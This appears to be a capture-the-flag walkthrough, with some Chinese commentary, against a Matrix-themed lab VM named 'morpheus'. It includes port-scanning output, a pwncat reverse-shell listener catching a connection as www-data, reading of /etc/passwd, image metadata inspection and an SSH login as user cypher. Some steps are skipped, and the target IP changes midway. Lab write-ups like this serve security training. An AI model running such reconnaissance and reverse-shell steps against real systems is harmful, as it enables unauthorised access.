4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.984 seconds (129.03 hosts/sec). 4 responded ❯ export ip=192.168.60.203 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Real hackers hack time ⌛ [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.203:22 Open 192.168.60.203:80 Open 192.168.60.203:81 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-23 20:00 CST Initiating ARP Ping Scan at 20:00 Scanning 192.168.60.203 [1 port] Completed ARP Ping Scan at 20:00, 0.10s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 20:00 Completed Parallel DNS resolution of 1 host. at 20:00, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 20:00 Scanning 192.168.60.203 [3 ports] Discovered open port 81/tcp on 192.168.60.203 Discovered open port 22/tcp on 192.168.60.203 Discovered open port 80/tcp on 192.168.60.203 Completed SYN Stealth Scan at 20:00, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.60.203 Host is up, received arp-response (0.0020s latency). Scanned at 2025-02-23 20:00:39 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 81/tcp open hosts2-ns syn-ack ttl 64 MAC Address: 00:0C:29:BD:F4:D1 (VMware)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ curl $ip/robots.txt There's no white rabbit here. Keep searching! 这里没有白兔。继续搜索！ ❯ curl http://192.168.60.203/graffiti.txt Mouse here - welcome to the Nebby! 鼠标在这里 - 欢迎来到 Nebby Make sure not to tell Morpheus about this graffiti wall. It's just here to let us blow off some steam. 确保不要告诉莫菲斯关于这面涂鸦墙。它只是在这里让我们发泄一些情绪。
❯ pwncat-cs -lp 4444 [13:45:24] Welcome to pwncat 🐈! __main__.py:164 bound to 0.0.0.0:4444 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ bound to 0.0.0.0:4444 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ [13:46:57] received connection from 192.168.60.204:59124 bind.py:84 [13:46:58] 0.0.0.0:4444: upgrading from /usr/bin/dash to manager.py:957 /usr/bin/bash [13:47:13] 192.168.60.204:59124: registered new host w/ db manager.py:957 (local) pwncat$ (remote) www-data@morpheus:/var/www/html$ cat /etc/passwd |grep /bin/bash root:x:0:0:root:/root:/bin/bash trinity:x:1000:1000::/home/trinity:/bin/bash cypher:x:1001:1001::/home/cypher:/bin/bash
拿到第一个flag了，根据提示要去我们去利用.cypher-neo.png图片
1 2 3 4 5 6 7 8 9 10 11 12
(remote) www-data@morpheus:/$ cat FLAG.txt Flag 1!
You've gotten onto the system. Now why has Cypher locked everyone out of it? Can you find a way to get Cypher's password? It seems like he gave it to Agent Smith, so Smith could figure out where to meet him.
Also, pull this image from the webserver on port 80 to get a flag.
❯ exiftool .cypher-neo.png ExifTool Version Number : 13.00 File Name : .cypher-neo.png Directory : . File Size : 381 kB File Modification Date/Time : 2025:02:23 23:41:21+08:00 File Access Date/Time : 2025:02:23 23:42:00+08:00 File Inode Change Date/Time : 2025:02:23 23:41:45+08:00 File Permissions : -rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 853 Image Height : 480 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Gamma : 2.2 White Point X : 0.3127 White Point Y : 0.329 Red X : 0.64 Red Y : 0.33 Green X : 0.3 Green Y : 0.6 Blue X : 0.15 Blue Y : 0.06 Background Color : 255 255 255 Modify Date : 2021:03:17 10:58:47 Warning : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers) Datecreate : 2021-03-17T10:58:47+00:00 Datemodify : 2021-03-17T10:58:47+00:00 Software : https://imagemagick.org Thumb Document Pages : 1 Thumb Image Height : 480 Thumb Image Width : 853 Thumb Mimetype : image/png Thumb M Time : 1615978727 Thumb Size : 329716B Thumb URI : file:///tmp/thumblr/img120644856217080381 Image Size : 853x480 Megapixels : 0.409
<p> <center> <h2>Dinner to Discuss Zion</h2> </center> </p> <p> Agent Smith, if you want to break into Zion, meet me in 3 days at the steak house at the corner of Wabash and Lake. 史密斯特工，如果你想闯入锡安，请三天后在沃巴什和湖角的牛排馆见我。 <img src="ignorance-bliss.png" > </p> <p> "I know this steak doesn't exist. I know that when I put it in my mouth, the Matrix is telling my brain that it is juicy and delicious. After nine years, you know what I realize? Ignorance is bliss." 我知道这块牛排不存在。我知道当我把它放进嘴里时，矩阵会告诉我的大脑它多汁而且美味。九年后，你知道我意识到了什么吗？无知是福。 </p> </body> </html>
❯ ssh [email protected] The authenticity of host '192.168.60.204 (192.168.60.204)' can't be established. ECDSA key fingerprint is SHA256:5lN4/ZmxBo1d2GfJ+D5fzrFNSvzczVZd+OkTv8uIggU. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.204' (ECDSA) to the list of known hosts. [email protected]'s password: Linux morpheus 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Oct 28 06:54:49 2021 from 10.23.58.30 cypher@morpheus:~$ cat FLAG.txt You've clearly gained access as user Cypher. Can you find a way to get to root? cypher@morpheus:~$ id uid=1001(cypher) gid=1001(cypher) groups=1001(cypher),1002(humans)
